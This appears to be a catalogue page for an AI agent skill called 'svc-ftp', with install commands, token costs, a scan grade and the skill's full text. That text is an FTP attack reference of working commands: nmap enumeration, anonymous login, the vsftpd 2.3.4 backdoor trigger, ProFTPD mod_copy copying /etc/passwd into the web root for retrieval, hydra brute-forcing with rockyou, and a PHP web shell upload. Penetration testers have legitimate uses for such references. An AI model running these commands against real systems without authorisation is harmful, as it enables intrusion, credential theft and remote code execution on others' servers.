Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/s0ld13rr/pentestcode/ftpnpx skills add s0ld13rr/pentestcode --skill ftpgit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00060 | $0.00448 |
| Opus 5 | $0.00030 | $0.00224 |
| Sonnet 5 | $0.00012 | $0.00090 |
| Haiku 4.5 | $0.00006 | $0.00045 |
Grade A, and why
svc-ftp scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl http://<target>/leak.txt What it actually says
FTP Attack Reference
Enumeration
nmap -sV --script ftp-anon,ftp-bounce,ftp-syst -p 21 <target>
nc -nv <target> 21 # banner grab
Anonymous Access
ftp <target>
# Login: anonymous / anonymous@
# Or: anonymous / (empty)
# List and download
ftp> ls -la
ftp> mget *
ftp> cd .. # try parent directories
Version CVEs
- vsftpd 2.3.4: Backdoor — connect to port 6200 after sending
:)in username - ProFTPD 1.3.5: mod_copy RCE —
site cpfr /etc/passwd→site cpto /var/www/html/passwd.txt - ProFTPD <1.3.5b: mod_copy unauthenticated file copy
# vsftpd 2.3.4 backdoor
echo -e "USER evil:)\nPASS anything" | nc <target> 21
nc <target> 6200
# ProFTPD mod_copy
nc <target> 21
SITE CPFR /etc/passwd
SITE CPTO /var/www/html/leak.txt
curl http://<target>/leak.txt
Credential Attacks
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://<target> -t 4
hydra -L users.txt -p password ftp://<target>
Writable FTP for Shell Upload
# If writable directory found + web server running
ftp> put shell.php
curl http://<target>/shell.php?cmd=id
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 55 lines · 60 tokens per session scan A 06e5288ab567
svc-ftp is a skill published in the GitHub repository s0ld13rr/pentestcode (566 stars, last pushed 11d ago), licensed MIT. It adds 60 tokens to every session and 448 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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